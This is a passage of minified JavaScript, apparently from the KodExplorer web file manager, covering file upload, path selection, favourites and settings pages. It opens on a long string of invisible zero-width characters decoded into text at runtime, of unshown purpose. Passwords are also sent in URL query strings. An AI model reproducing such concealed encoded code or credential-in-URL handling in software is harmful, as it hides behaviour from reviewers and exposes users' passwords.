‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‌‍‍‍‌‍‍‌‌‌‍‍‍‍‍‌‌‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‍‌‍‍‍‍‌‌‍‌‍‌‌‍‌‍‍‌‍‍‌‍‌‌‌‍‍‍‍‍‍‌‌‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‍‍‌‌‌‌‍‌‌‍‍‌‍‌‍‌‌‌‍‌‌‍‍‌‌‌‌‍‍‍‍‌‌‍‌‌‍‍‍‌‍‍‌‌‍‌‍‌‍‍‍‌‍‌‍‌‍‌‍‌‍‍‍‌‍‍‌‌‌‍‍‌‌‍‍‍‌‍‍‌‍‍‍‌‌‌‍‌‍‌‌‍‌‍‍‌‌‍‍‌‌‌‍‌‌‍‍‌‍‌‍‌‍‍‌‍‍‍‍‌‍‍‌‍‍‍‍‌‍‌‌‍‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‍‍‍‌‌‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‌‍‌‍‌‍‍‌‍‍‌‍‍‍‍‌‌‍‌‍‌‍‍‍‍‍‌‍‌‍‌‍‍‍‌‌‍‌‍‌‌‍‍‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‍‍‍‌‍‍‌‍‌‍‌‍‌‍‌‍‍‌‌‌‍‍‌‌‌‍‌‍‌‍‍‌‌‍‌‍‌‍‌‌‍‌‍‍‌‍‌‌‍‍‍‌‌‍‌‍‍‍‍‌‌‍‌‍‍‌‌‌‍‍‌‌‍‍‍‍‌‍‌‍‌‍‍‍‍‍‌‍‍‌‌‌‌‍‌‌‍‍‍‌‍‍‌‌‍‌‌‌‍‍‌‌‌‍‍‌‌‍‌‌‍‌‍‌‍‍‌‍‍‌‌‌‌‍‌‍‌‍‍‌‌‍‌‍‍‍‌‍‌‍‍‌‌‍‌‌‍‍‌‍‌‌‍‌‍‍‌‌‌‌‍‍‍‍‌‍‍‍‍‌‌‍‌‌‍‍‍‌‌‍‌‌‍‌‌‍‍‍‌‌‍‍‌‍‌‍‌‍‌‍‍‌‍‍‌‍‌‍‌‌‍‍‌‌‌‍‍‍‍‍‌‍‌‍‌‍‍‍‌‍‍‍‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‍‌‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‌‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‍‌‌‌‍‌‌‌‌‍‌‍‍‌‌‍‍‍‍‌‍‌‍‍‍‌‌‌‍‌‍‌‌‍‌‍‍‌‍‍‍‍‍‌‍‌‌‌‍‌‍‌‍‌‍‍‌‌‍‌‍‍‌‌‍‌‍‌‍‌‌‍‌‍‍‍‍‌‍‌‍‌‌‍‍‌‍‌‌‌‌‌‍‌‍‍‌‌‍‍‍‌‍‍‌‍‌‌‍‌‍‍‍‍‍‌‍‍‌‌‍‍‍‍‍‍‌‍‍‍‌‍‍‍‌‍‌‌‍‍‍‍‌‍‍‍‌‍‍‌‍‌‌‌‌‌‍‍‌‌‍‍‌‌‍‍‌‌‍‍‌‍‍‌‍‍‍‍‍‍‍‍‌‍‍‍‍‌‍‌‍‍‍‍‍‌‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‍‌‍‍‌‍‌‍‍‍‌‍‍‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‌‌‌‍‍‍‌‍‌‌‌‍‌‍‌‍‌‌‍‌‍‍‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‍‌‍‌‌‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‌‍‌‌‌‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‌‍‍‍‌‌‍‍‌‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‌‌‌‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‍‍‍‍‌‍‍‌‍‌‌‌‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‍‍‌‌‍‌‌‌‌‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‌‍‍‍‌‍‍‌‍‌‌‍‌‍‍‌‌‍‍‌‍‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‍‌‍‌‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‍‍‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‌‍‌‍‍‍‍‌‍‌‍‍‍‍‌‍‍‌‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‍‍‍‌‍‌‌‌‍‍‌‌‌‍‍‌‍‍‌‌‍‍‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‌‌‍‌‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‌‍‍‌‍‌‍‌‌‍‍‌‌‍‌‍‌‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‍‍‍‌‌‍‍‍‌‍‍‌‌‍‍‍‍‍‍‌‌‍‍‍‍‍‍‌‌‍‍‍‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌".replace(/.{8}/g,function(e){return String.fromCharCode(parseInt(e.replace(/\u200c/g,1).replace(/\u200d/g,0),2))})),uploader=upCreate({swf:G.static_path+"js/lib/webuploader/Uploader.swf",dnd:"body",threads:3,compress:!1,resize:!1,prepareNextFile:!0,duplicate:!0,chunkRetry:10,chunked:!0,chunkSize:chunkSize}),WebUploader.Uploader.register({"before-send":"checkChunk"},{checkChunk:function(e){var t=this.owner,i=(e.blob.getSource(),$.Deferred());return t.md5File(e.blob).fail(function(){i.resolve()}).then(function(t){if(0==e.chunk)$.ajax({url:uploadUrl(),dataType:"json",data:{upload_to:e.file.upload_to,file_name:e.file.name,check_md5:t,chunk:e.chunk,chunks:e.chunks},error:function(){i.resolve()},success:function(t){t.code?(i.reject(),e.file.checkChunk=t.info):i.resolve()}});else{var a=e.file.checkChunk;if(a&&a["part_"+e.chunk]==t){var n=e.end/e.total;uploader.trigger("uploadProgress",e.file,n),i.reject()}else i.resolve()}}),i.promise()}}),$(".uploader-content .success").die("click").live("click",function(){var e=$(this).find("span.title").attr("title");"explorer"==Config.pageApp?ui.path.list(core.pathFather(e),"tips",function(){ui.path.setSelectByFilename(e)}):core.explorer(core.pathFather(e))}),$(".uploader-content .open").die("click").live("click",function(e){var t=$(this).find("span.title").attr("title");ui.pathOpen.open(t),stopPP(e)}),$(".upload_box_clear").die("click").live("click",function(){$(".uploader-list .item.success,.uploader-list .item.error").each(function(){$(this).slideUp(300,function(){$(this).remove()})})}),$(".uploader-content .remove").die("click").live("click",function(e){var t=$(this).parent().parent().attr("id");$(this).parent().parent().slideUp(function(){$(this).remove()}),uploader.skipFile(t),uploader.removeFile(t,!0),stopPP(e)});var file_num=0,file_finished=0,currentSpeed="0B/s",preTime=0,getSpeed=function(e,t){if(.3>=timeFloat()-preTime)return currentSpeed;preTime=timeFloat();var i=e.size*t,a=5;e.speed===void 0?e.speed=[[timeFloat()-.5,0],[timeFloat(),i]]:a>=e.speed.length?e.speed.push([timeFloat(),i]):(e.speed=e.speed.slice(1,a),e.speed.push([timeFloat(),i]));var n=e.speed[e.speed.length-1],o=e.speed[0],s=(n[1]-o[1])/(n[0]-o[0]);return s=core.fileSize(s)+"/s",currentSpeed=s,s},selectNameArr=[],changeDelayTimer,pathReload=function(e){clearTimeout(changeDelayTimer),changeDelayTimer=!1,changeDelayTimer=setTimeout(function(){var t=selectNameArr;ui.f5Callback(function(){if(ui.path.setSelectByFilename(t),e&&(selectNameArr=[],"explorer"==Config.pageApp)){if("share"==G.share_page)return;ui.tree.checkIfChange(G.this_path)}})},600)};uploader.on("fileQueued",function(e){if(!core.uploadCheck())return uploader.skipFile(e),uploader.removeFile(e),void 0;var t;try{t=e.source.source.fullPath,void 0!=e.source.source.webkitRelativePath&&""!=e.source.source.webkitRelativePath&&(t=e.source.source.webkitRelativePath)}catch(i){}if(e.fullPath=t,e.source&&e.source.source&&1==e.source.source.isDirectory&&e.source.source.fullPath)return ui.pathOperate.newFolder(G.this_path+e.fullPath),uploader.skipFile(e),uploader.removeFile(e),void 0;if(0==e.size)return ui.pathOperate.newFile(G.this_path+e.fullPath),uploader.skipFile(e),uploader.removeFile(e),file_finished++,file_num++,void 0;var a=e.fullPath;e.finished=!1,e.upload_to=G.this_path,(void 0==a||"undefined"==a)&&(a=e.name),file_num++;var n=$(".uploader-list"),o='
      '+''+htmlEncode(core.pathThis(a))+""+''+core.fileSize(e.size)+""+''+LNG.upload_ready+""+''+'
      ';(1e3==file_num||2e3==file_num)&&Tips.tips(LNG.upload_tips_more,"warning"),0==n.length?setTimeout(function(){$(".uploader-list").prepend(o),uploader.upload()},100):(n.prepend(o),uploader.upload())}).on("uploadBeforeSend",function(e,t){var i=urlEncode(e.file.fullPath);(void 0==i||"undefined"==i)&&(i=""),t.fullPath=i,t.upload_to=e.file.upload_to}).on("uploadProgress",function(e,t){$(".dialog_file_upload .aui_title").text(LNG.uploading+": "+file_finished+"/"+file_num+" ("+currentSpeed+")");var i=getSpeed(e,t),a=$("#"+e.id),n=a.find(".progress .progress-bar");n.length||(n=$('
      ').appendTo(a).find(".progress-bar")),a.find(".state").text((100*t).toFixed(1)+"%("+i+")"),n.css("width",100*t+"%")}).on("uploadAccept",function(e,t){if(e.file.serverData=t,!t.code)return e.serverNeedRetry=!0,!1;try{e.file.fullPath||selectNameArr.push(t.info)}catch(i){}}).on("uploadSuccess",function(e){var t=36*$("#"+e.id).index(".item");$(".uploader-content").scrollTop(t),file_finished++;var i=e.serverData;if(i&&i.data){var a=LNG[i.data];i.code?($("#"+e.id).addClass("success"),$("#"+e.id).find(".state").text(a),$("#"+e.id).find(".remove").addClass("icon-ok").addClass("open").removeClass("icon-remove").removeClass("remove")):($("#"+e.id).addClass("error").find(".state").addClass("error"),$("#"+e.id).find(".state").text(a).attr("title",a))}uploader.removeFile(e),$("#"+e.id).find(".progress").fadeOut(),e.fullPath||pathReload(!1)}).on("uploadError",function(e,t){var i=LNG.upload_error+"("+t+")";e.serverData&&0==e.serverData.code&&(i=LNG[e.serverData.data],!i&&e.serverData.data&&(i=e.serverData.data),Tips.tips(i,!1)),file_finished++,$("#"+e.id).find(".progress").fadeOut(),$("#"+e.id).addClass("error").find(".state").addClass("error"),$("#"+e.id).find(".state").html(i)}).on("uploadFinished",function(){$(".dialog_file_upload .aui_title").text(LNG.upload_success+": "+file_finished+"/"+file_num),file_num=0,file_finished=0,uploader.reset(),pathReload(!0)}).on("error",function(e){Tips.tips(e,!1)});var timer;inState=!1,dragOver=function(){if(0==inState){if(inState=!0,!core.uploadCheck(void 0,!1))return;var e='
      '+LNG.upload_drag_tips+"
      ";MaskView.tips(e),$("#windowMaskView").css({background:"#4285f4",opacity:"0.8"})}timer&&window.clearTimeout(timer)},dragLeave=function(e){stopPP(e),timer&&window.clearTimeout(timer),timer=window.setTimeout(function(){inState=!1,MaskView.close()},100)},dragDrop=function(e){try{if(e=e.originalEvent||e,core.uploadCheck())if(e.dataTransfer.files.length>0&&e.dataTransfer.files[0].name)core.upload(),core.playSound("drag_upload");else{var t=e.dataTransfer.getData("text/plain");t&&"http"==t.substring(0,4)&&ui.pathOperate.appAddURL(t)}stopPP(e)}catch(e){}inState&&(inState=!1,MaskView.close())}}}}),define("app/common/core.api",[],function(){var e=function(e,t,i){var a=$(i.DOM.wrap),n=t.frames.OpenpathSelectApi,o='';"file"==e.type&&(o+=''+e.allowExt+""),$(o).insertBefore(a.find(".aui_state_highlight"));var s=function(t){var i=e.allowExt.split("|"),a=core.pathExt(t);return""==e.allowExt||""!=e.allowExt&&-1!=$.inArray(a,i)?!0:!1},r=function(){var t=n.ui.fileLight.fileListSelect(),i=[];if(e.single){var a=$(t.get(0));if("all"==e.type&&0==t.length)i={file:[],folder:[]};else if("file"==e.type&&0==t.length)i=[];else if("folder"==e.type)i=[n.G.this_path],a.hasClass("folderBox")&&(i=[n.ui.fileLight.path(a)]);else if("file"==e.type){if(a.hasClass("fileBox")){var o=n.ui.fileLight.path(a);s(o)&&(i=[o])}}else if("all"==e.type)if(a.hasClass("folderBox")){var o=n.ui.fileLight.path(a);i=[{file:[],folder:[o]}]}else if(a.hasClass("fileBox")){var o=n.ui.fileLight.path(a);s(o)&&(i={file:[o],folder:[]})}}else{var r=[],l=[];t.each(function(){if($(this).hasClass("fileBox")){var e=n.ui.fileLight.path($(this));s(e)&&r.push(e)}else $(this).hasClass("folderBox")&&l.push(n.ui.fileLight.path($(this)))}),"folder"==e.type?i=l:"file"==e.type?i=r:"all"==e.type&&(i={file:r,folder:l})}c(i)},l=function(e){var e=trim(e,"/");return e==G.KOD_GROUP_ROOT_SELF||e==G.KOD_GROUP_ROOT_ALL||e==G.KOD_USER_FAV||e==G.KOD_USER_SHARE?!1:!0},c=function(t){var i=a.find(".path_select_input"),o=a.find(".aui_state_highlight");if("all"!=e.type){for(var s=[],r=0;t.length>r;r++)l(t[r])&&s.push(t[r]);t=s}if(0==t.length||"all"==e.type&&0==t.file.length&&0==t.folder.length)o.addClass("disable"),i.attr("result",""),i.val("");else{var c=hashEncode(jsonEncode(t)),d="";if(e.single)d=n.core.pathThis(t[0]);else{var p=t;"all"==e.type&&(p=t.folder.concat(t.file)),$.each(p,function(e,t){d+=n.core.pathThis(t)+", "})}o.removeClass("disable"),i.attr("result",c),i.val(d)}},d=function(){n.ui.fileLight.select.hook("select",n.ui.fileLight,{before:function(){},after:function(){r()}})};n.kodReady||(n.kodReady=[]),n.kodReady.push(function(){d(),r()})};return{pathSelect:function(t,i){var a={type:"file",title:LNG.path_api_select_file,single:!0,allowExt:"",firstPath:!1},n="./index.php?/explorer&type=iframe";t=$.extend(a,t),t.firstPath&&(n+="&path="+t.firstPath);var o=ShareData.frameTop(),s=o.$.dialog.open(n,{id:"pathSelectApi",resize:!0,fixed:!0,ico:core.icon("folder"),title:t.title,lock:!0,background:"#000",opacity:.1,width:840,height:420,ok:function(){if("function"==typeof i){var e=s.DOM.wrap,a=e.find(".path_select_input").attr("result");a=jsonDecode(hashDecode(a)),a?t.single&&"all"!=t.type?i(a[0]):i(a):Tips.tips(LNG.error,!1)}},cancel:!0});e(t,o,s)},randomImage:function(e){$.getJSON("//kalcaddle.com/tools/version/?wallpage/index&lang="+G.lang+"&callback=?",function(t){"function"==typeof e&&e(t)})}}}),define("app/common/core.playSound",["./myPlayer"],function(e){var t={file_remove:"file_remove.mp3",recycle_clear:"recycle_clear.mp3",folder_open:"folder_open.mp3",window_min:"window_min.mp3",error:"error_tips.mp3",drag_upload:"drag_upload.mp3",drag_drop:"drag_drop.mp3"},i=function(t){var i="x-play-sound";0==$("."+i).length&&$('
      ').appendTo("body");var a=G.static_path+"others/sound/"+t,n=e("./myPlayer");n.playSound(a,$("."+i))};return{playSoundFile:i,playSound:function(e){G&&G.user_config&&"1"==G.user_config.sound_open&&setTimeout(function(){i(t[e])},100)}}}),define("app/common/tpl/copyright.html",[],'\n'),define("app/common/tpl/theme_diy.html",[],"@media screen and (max-width:100000px) {\n body .full_background{\n position: absolute;top: 0px;left: 0px;bottom: 0px;right: 0px;\n background-color: #020202;background-size: 100% 100%;\n }\n\n {{if blur_size= (bg_blur==0?0:10) }}{{/if}}\n body .full_background:before{\n -webkit-filter: blur({{blur_size}}px);\n -moz-filter: blur({{blur_size}}px);\n -ms-filter: blur({{blur_size}}px);\n filter: blur({{blur_size}}px);\n }\n {{if bg_type == 'image'}}\n body .full_background,\n body .full_background:before,\n body #body .menu_left,\n body #body .app_menu_left,\n body .aui_buttons,\n body .aui_state_focus .aui_title,body .aui_title{\n background-image:url({{bg_image}});\n }\n body .aui_state_focus .aui_title,body .aui_title{\n background-size:100%;\n }\n {{else}}\n body .full_background,\n body .full_background:before,\n body #body .menu_left, \n body #body .app_menu_left,\n body .aui_buttons,\n body .aui_state_focus .aui_title,body .aui_title{\n background:{{end_color}};\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='{{start_color}}', endColorstr='{{end_color}}');\n background-image: -webkit-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -moz-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -o-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -ms-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n }\n {{/if}}\n}\n"),define("app/src/setting/fav",[],function(){var e="index.php?fav/",t=function(t){$.ajax({url:e+"get",dataType:"json",async:!1,success:function(e){return e.code?(i(e.data,t),void 0):(Tips.tips(e),void 0)},error:function(){return!1}})},i=function(e,t){var i=""+htmlEncode(LNG.name)+"("+LNG.can_not_repeat+")"+""+htmlEncode(LNG.address)+"("+LNG.absolute_path+")"+""+LNG.action+""+"";for(var a in e)i+=""+" "+" "+" "+" "+" "+" "+"";if($("table#list").html(i),t&&"fav&"==t.substring(0,4)){var n=t.split("&")[1].split("=")[1],o=t.split("&")[2].split("=")[1],s=t.split("&")[3].split("=")[1];n=htmlEncode(urlDecode(n)),o=htmlEncode(urlDecode(o));var r=" "+" "+" "+" "+" "+" "+" "+"";$(r).insertAfter("table#list tr:last")}},a=function(){var e=" "+" "+" "+"";$(e).insertAfter("table#list tr:last")},n=function(){var e=$(this).parent().parent();$(e).detach()},o=function(){var t=$(this).parent().parent(),i=$(t).find("#sname").val(),a=$(t).find("#spath").val(),n=$(t).find("#stype").val();return""==i||""==a?(Tips.tips(LNG.not_null,"error"),!1):($.ajax({url:e+"add&name="+urlEncode(i)+"&path="+urlEncode(a)+"&type="+n,dataType:"json",success:function(e){if(Tips.tips(e),e.code){$(t).attr("name",i),$(t).attr("path",a);var n=""+"";$(t).find("td.action").html(n),ShareData.frameTop("",function(e){e.ui.tree.refreshFav()})}}}),void 0)},s=function(){var i=$(this).parent().parent(),a=$(i).attr("name"),n=$(i).find("#sname").val(),o=$(i).find("#spath").val();return""==n||""==o?(Tips.tips(LNG.not_null,"error"),!1):($.ajax({dataType:"json",url:e+"edit&name="+urlEncode(a)+"&name_to="+urlEncode(n)+"&path_to="+urlEncode(o),success:function(e){Tips.tips(e),e.code&&($(i).attr("name",n),ShareData.frameTop("",function(e){e.ui.tree.refreshFav()}),t())}}),void 0)},r=function(){var t=$(this).parent().parent(),i=$(t).attr("name");$.ajax({url:e+"del&name="+urlEncode(i),dataType:"json",async:!1,success:function(e){Tips.tips(e),e.code&&($(t).detach(),ShareData.frameTop("",function(e){e.ui.tree.refreshFav()}))}})},l=function(){$(".fav .add").live("click",a),$(".fav .addexit").live("click",n),$(".fav .addsave").live("click",o),$(".fav .edit").live("click",s),$(".fav .del").live("click",r)};return l(),{init:t}}),define("app/src/setting/setting",[],function(e){var t,i=function(e){core.setSkin(e),ShareData.frameTop("",function(t){t.ui.setTheme(e)}),"diy"!=e?$(".theme_diy_setting").addClass("hidden"):$(".theme_diy_setting").removeClass("hidden")},a=function(e){core.setSkin(e)};template.helper("menu_info_decode",function(e){var t=htmlEncode(urlDecode(e));return t});var n=function(t){var i={about:e("./page/about.html"),fav:e("./page/fav.html"),help:e("./page/help.html"),member:e("./page/member.html"),system:e("./page/system.html"),theme:e("./page/theme.html"),user:e("./page/user.html"),wall:e("./page/wall.html")};return i[t]},o=function(e){(""==e||void 0==e)&&(e="user"),t=e,"fav&"==e.substring(0,4)&&(e="fav"),$(".selected").removeClass("selected"),$("ul.setting a#"+e).addClass("selected");var i=window.location.href;-1!=i.indexOf("#")&&(i=i.substr(0,i.indexOf("#"))),window.location.href=i+"#"+e,$.ajax({url:"./index.php?setting/slider&slider="+e,beforeSend:function(){$(".main").html("")},success:function(i){if("about"==e){var a=i.data;if(i.data="",!core.tools.about(a))return;i.data=a}var o=$(".menu_left .selected").clone();o.find(".ripple_father").remove();var r="
      "+o.html()+"
      ",l=n(e),c=template.compile(l),d=c({urlDecode:urlDecode,LNG:LNG,G:G,data:i.data,info:i.info});$(".main").html(r+d),$(".main").fadeIn("fast"),"fav"==e&&Fav.init(t),"member"==e&&System.init(),"theme"==e&&s(),t=e,$("a,img").attr("draggable","false")}})},s=function(){seajs.use("lib/bootstrap-slider/bootstrap-slider.css"),seajs.use("lib/colorpicker/css/colorpicker.css"),e.async("lib/bootstrap-slider/bootstrap-slider.js",function(){$("#colorRotate").slider().on("slide",i)}),e.async("lib/colorpicker/js/colorpicker",function(){$(".colorpicker").remove(),$(".color_picker").ColorPicker({onBeforeShow:function(e){$(e).attr("input-name",$(this).attr("name")),$(this).ColorPickerSetColor(this.value)},onShow:function(e){return $(e).fadeIn(100),!1},onHide:function(e){return $(e).fadeOut(100),!1},onChange:function(e,t){var a=$("input[name="+$(this).attr("input-name")+"]");a.val("#"+t),i()}}).bind("keyup",function(){$(this).ColorPickerSetColor(this.value)})});var t=$(".theme_diy_setting");t.find("input[name]").unbind("change").bind("change",function(){var e=$(this).attr("name");"bg_type"==e&&($(".theme_bg_type_image,.theme_bg_type_color").addClass("hidden"),$(".theme_bg_type_"+$(this).val()).removeClass("hidden")),$(this).attr("data-slider-value")||i()}),t.find(".theme_diy_save").unbind("click").bind("click",function(){var e=G.user_config.theme_diy;$.ajax({url:"index.php?setting/set&k=theme_diy&v="+urlEncode(jsonEncode(e)),dataType:"json",success:function(e){Tips.tips(e)}})}),t.find(".color_list").each(function(){var e=jsonDecode($(this).attr("data-color"));$(this).css("background-image","linear-gradient("+e.color_rotate+"deg,"+e.start_color+","+e.end_color+")")}),t.find(".color_list").unbind("click").bind("click",function(){var e=jsonDecode($(this).attr("data-color"));$.each(e,function(e,a){var n=t.find("input[name="+e+"]");"color_rotate"==e?$("#colorRotate").slider("setValue",parseInt(a)):n.val(a),i()})});var i=function(){if("diy"==LocalData.get("theme")){var e={};t.find("input[name]").each(function(){var i=$(this).attr("name"),a=$(this).val();"checkbox"==$(this).attr("type")?a=Number($(this).is(":checked")):"radio"==$(this).attr("type")&&(a=t.find("[name="+i+"]:checked").val()),e[i]=a}),LocalData.setConfig("kod_diy_style",e),core.setSkin("diy"),ShareData.frameTop("",function(e){e.ui.setTheme("diy")})}}},r=function(){1!=G.is_root&&$("ul.setting #system").remove(),G.is_root||1==AUTH["system_member:get"]||1==AUTH["system_group:get"]?$("ul.setting #member").show():$("ul.setting #member").hide(),t=location.hash.split("#",2)[1],o(t),$("ul.setting a").click(function(){t!=$(this).attr("id")&&(t=$(this).attr("id"),o(t))}),$("#password_new").keyEnter(function(){Setting.tools()}),$(".user_config_setting .form_row input").die("change").live("change",function(){var e=$(this),t=e.attr("name"),i=e.val();"checkbox"==e.attr("type")&&(i=e.prop("checked")?"1":"0"),l(t,i)}),$(".path_select").die("click").live("click",function(){core.api.pathSelect({type:"file",title:LNG.path_api_select_image,allowExt:"png|jpg|bmp|gif|jpeg|ico|svg|tiff"},function(e){var e=core.path2url(e);$(".path_select").parent().find("input[type=text]").val(e).trigger("change"),Setting.tools()})}),$(".randomImage").die("click").live("click",function(){var e=$(this),t=function(e){var t=G.myhome+"picture/wallpage/";$.get("./index.php?explorer/mkdir&repeat_type=replace&path="+t,function(){$.get("./index.php?explorer/serverDownload&type=download&save_path="+t+"&url="+urlEncode(e))})};core.api.randomImage(function(i){e.addClass("moveCircle"),e.parent().find("input[type=text]").val(i).trigger("change"),1==$('.box[data-type="wall"]').length&&Setting.tools(),setTimeout(function(){e.removeClass("moveCircle")},1e3),t(i)})}),$(".box .list").live("hover",function(){$(this).addClass("listhover")},function(){$(this).toggleClass("listhover")}).live("click",function(){var e=$(this),t=e.parent();switch(type=t.attr("data-type"),value=e.attr("data-value"),t.find(".this").removeClass("this"),e.addClass("this"),type){case"wall":var a=G.static_path+"images/wall_page/"+value+".jpg";$("#wall_url").val(""),ShareData.frameTop("",function(e){e.ui.setWall(a)});break;case"theme":i(value);break;default:}l(type,value)}),$(".nav a").live("click",function(){$(".nav a").removeClass("this"),$(this).addClass("this");var e=$(this).attr("data-page");$(this).parent().parent().find(".panel").addClass("hidden"),$(this).parent().parent().find("."+e).removeClass("hidden")})},l=function(e,t){var i="index.php?setting/set&k="+e+"&v="+t;$.ajax({url:i,dataType:"json",success:function(e){e.code?Tips.tips(e):core.authCheck("setting:set")?Tips.tips(LNG.config_save_error_file,!1):Tips.tips(LNG.config_save_error_auth,!1)}})},c=function(){var e=$(".selected").attr("id");switch(e){case"user":var t=urlEncode($("#password_now").val()),i=urlEncode($("#password_new").val());if(""==i||""==t){Tips.tips(LNG.password_not_null,"error");break}$.ajax({url:"index.php?user/changePassword&password_now="+t+"&password_new="+i,dataType:"json",success:function(e){if(Tips.tips(e),e.code){var t=ShareData.frameTop();t.location.href="./index.php?user/logout"}}});break;case"wall":var a=$("#wall_url").val();if(""==a){Tips.tips(LNG.picture_can_not_null,"error");break}ShareData.frameTop("",function(e){e.ui.setWall(a)}),$(".box").find(".this").removeClass("this"),$.ajax({url:"index.php?setting/set&k=wall&v="+urlEncode(a),dataType:"json",success:function(e){Tips.tips(e)}});default:}};return r(),{setGoto:o,tools:c,setThemeSelf:a,setTheme:i}}),define("app/src/setting/page/about.html",[],'
      \n
      {{#data}}
      \n
      \n'),define("app/src/setting/page/fav.html",[],'\n'),define("app/src/setting/page/help.html",[],'
      \n
      {{#data}}
      \n
      \n'),define("app/src/setting/page/member.html",[],'
      \n
      \n
      \n
      {{LNG.system_group_edit}}
      \n
      {{LNG.system_group_role}}
      \n
      \n
      \n
      \n
      \n
      \n\n
      \n
      \n
        \n
        \n
        \n
        \n \n\n
        \n
        \n
        \n --\n id:\n \n\n \n \n 111/1.5\n
        \n
        \n
        \n
        \n
        \n \n\n \n \n
        \n
        \n\n\n'),define("app/src/setting/page/system.html",[],'\n\n{{if G.is_root}}\n
        \n {{if core.versionType !="A"}}\n \n {{/if}}\n\n {{if verIndex={"A":"free","O":"1","P":"2","Q":"3"} }}{{/if}}\n {{if verKey = "version_vip_"+verIndex[core.versionType] }}{{/if}}\n {{LNG[verKey]}}\n
        \n{{/if}}\n\n\n
        \n
        \n
        \n
        {{LNG.system_name}}:
        \n
        \n {{LNG.system_name_desc}}\n \n
        \n
        \n\n
        \n
        {{LNG.system_desc}}:
        \n
        \n {{LNG.system_desc}}\n
        \n
        \n
        \n
        {{LNG.path_hidden}}:
        \n
        \n {{LNG.path_hidden_desc}}\n
        \n
        \n
        \n
        {{LNG.new_user_folder}}:
        \n
        \n {{LNG.new_user_folder_desc}}\n
        \n
        \n
        \n
        {{LNG.new_user_app}}:
        \n
        \n {{LNG.new_user_app_desc}}\n
        \n
        \n
        \n
        {{LNG.auto_login}}:
        \n
        \n \n
        \n
        \n
        \n
        {{LNG.need_check_code}}:
        \n
        \n \n
        \n
        \n\n
        \n
        {{LNG.first_in}}:
        \n
        \n \n \n \n
        \n
        \n\n \n
        \n
        \n \n
        \n
        \n
        \n
        \n\n\n\n\n\n{{if info}}\n\n{{/if}}\n'),define("app/src/setting/page/theme.html",[],'
        \n
        \n {{each data.setting_all.themeall.split(\',\') as value key}}\n
        \n
        \n
        {{#LNG[\'theme_\'+value]}}
        \n
        \n {{/each}}\n
        \n
        \n
        \n\n{{if config = G.user_config.theme_diy}}{{/if}}\n
        \n

        {{LNG.theme_diy_title}}

        \n
        \n
        \n
        {{LNG.theme_diy_background}}:
        \n
        \n \n \n
        \n
        \n\n
        \n
        \n
        {{LNG.theme_diy_image_blur}}:
        \n
        \n \n
        \n
        \n
        \n
        {{LNG.theme_diy_image_url}}:
        \n
        \n \n \n \n
        \n
        \n
        \n\n
        \n
        \n
        {{LNG.theme_diy_color_start}}:
        \n
        \n \n
